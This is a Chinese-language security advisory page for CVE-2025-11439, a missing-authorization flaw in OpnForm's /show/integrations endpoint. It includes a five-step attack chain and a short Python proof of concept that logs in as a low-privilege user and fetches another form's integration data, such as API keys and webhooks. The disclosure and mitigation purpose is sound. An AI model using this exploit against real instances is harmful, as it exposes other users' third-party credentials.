IPBUF安全漏洞报告
English
CVE-2025-11439 CVSS 4.3 中危

CVE-2025-11439:JhumanJ OpnForm 集成页面缺失授权漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11439
漏洞类型
缺失授权(Broken Access Control / IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JhumanJ OpnForm

相关标签

Broken Access Control缺失授权IDORJhumanJ OpnForm信息泄露CVE-2025-11439中危漏洞Web应用安全集成配置泄露

漏洞概述

CVE-2025-11439 是 JhumanJ OpnForm 开源表单构建工具中存在的一个中危级别安全漏洞。该漏洞影响 OpnForm 1.9.3 及之前版本,问题出现在文件 /show/integrations 的处理逻辑中,由于缺少必要的授权验证机制,导致低权限认证用户可以通过远程网络访问未经授权的集成信息。

OpnForm 是一个基于 Web 的开源表单创建和管理平台,允许用户构建自定义表单并集成第三方服务。该漏洞属于访问控制缺陷类问题(Broken Access Control),具体表现为服务端未能对 /show/integrations 端点的请求进行充分的权限校验,攻击者仅需拥有低权限账户即可访问本不应公开的集成配置数据。

根据 CVSS 3.1 评分体系,该漏洞评分为 4.3 分,属于 MEDIUM 级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N),其影响范围仅限于机密性(C:L),对完整性和可用性无影响。该漏洞的利用代码已公开披露,可能被恶意攻击者利用进行信息收集或进一步攻击。

官方已发布修复补丁(commit 11d97d78f2de2cb49f79baed6bde8b611ec1f384),建议所有受影响用户尽快升级到修复版本以消除安全风险。

技术细节

该漏洞的核心问题在于 OpnForm 应用的 /show/integrations 路由缺少适当的授权检查机制。在正常的 Web 应用中,当用户请求查看某个资源的集成信息时,服务端应当验证当前用户是否拥有访问该资源的权限。然而在受影响的版本中,该端点仅检查了用户是否已登录(认证),而未验证用户对目标资源的访问权限(授权),从而形成了典型的 Broken Access Control(失效的访问控制)漏洞。

从技术实现角度分析,攻击者只需要拥有一个有效的低权限账户,通过构造指向 /show/integrations 的 HTTP 请求,并附带目标表单或资源的标识符,即可绕过授权检查读取该资源的集成配置信息。这些集成信息可能包含第三方服务的 API 密钥、Webhook URL、OAuth 令牌等敏感数据。

利用方式如下:
1. 攻击者注册或获取一个低权限的 OpnForm 账户;
2. 通过浏览公开表单或猜测资源 ID,确定目标资源;
3. 向 /show/integrations 端点发送 GET 请求,附带目标资源标识符;
4. 由于缺少授权检查,服务端返回目标资源的集成配置信息;
5. 攻击者获取敏感信息,可能用于进一步攻击(如 API 密钥滥用、第三方服务入侵等)。

该漏洞的修复通过 commit 11d97d78f2de2cb49f79baed6bde8b611ec1f384 实现,主要在控制器层增加了对当前用户资源所有权的验证逻辑,确保只有资源所有者或具有相应权限的用户才能访问集成信息。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者注册或通过其他途径获取一个有效的低权限 OpnForm 用户账户,完成身份认证。
STEP 2
步骤2:发现目标资源
通过浏览公开表单页面、枚举 ID 或社会工程学手段,确定目标表单或资源的标识符。
STEP 3
步骤3:构造未授权请求
向 /show/integrations 端点发送带有目标资源 ID 的 HTTP GET 请求,利用缺失的授权检查绕过权限验证。
STEP 4
步骤4:获取敏感数据
服务端未进行资源所有权验证,直接返回目标资源的集成配置信息,包括 API 密钥、Webhook URL 等敏感数据。
STEP 5
步骤5:利用泄露信息
使用获取的第三方服务凭据进行进一步攻击,如 API 滥用、数据窃取或对集成服务发起攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11439 PoC - OpnForm Missing Authorization in /show/integrations # Vulnerability: Broken Access Control - Missing Authorization Check # Affected: JhumanJ OpnForm <= 1.9.3 import requests TARGET_URL = "http://target-opnform-instance.com" # Attacker credentials (low privilege account) ATTACKER_EMAIL = "[email protected]" ATTACKER_PASSWORD = "password123" # Target form/integration ID (can be enumerated or guessed) TARGET_FORM_ID = 1 # Step 1: Authenticate to obtain session cookie session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "email": ATTACKER_EMAIL, "password": ATTACKER_PASSWORD } response = session.post(login_url, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Access the vulnerable endpoint without proper authorization # The /show/integrations endpoint fails to verify resource ownership vuln_url = f"{TARGET_URL}/show/integrations" params = {"form_id": TARGET_FORM_ID} response = session.get(vuln_url, params=params) print(f"[*] Vulnerable endpoint response status: {response.status_code}") print(f"[*] Response body:\n{response.text}") # Step 3: Extract sensitive integration data (API keys, webhook URLs, etc.) if response.status_code == 200: print("[+] Successfully accessed unauthorized integration data!") # Parse and extract sensitive information from response # Such as: API keys, OAuth tokens, webhook URLs, third-party service credentials else: print("[-] Exploit failed or target is patched.")

影响范围

JhumanJ OpnForm <= 1.9.3

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在 Web 服务器或反向代理层面限制 /show/integrations 端点的访问,仅允许特定 IP 或管理用户访问;2)通过应用配置临时禁用集成功能;3)审查并轮换所有已配置的第三方集成 API 密钥和 Webhook 密钥,假设其可能已被泄露;4)密切监控访问日志,识别可疑的未授权访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表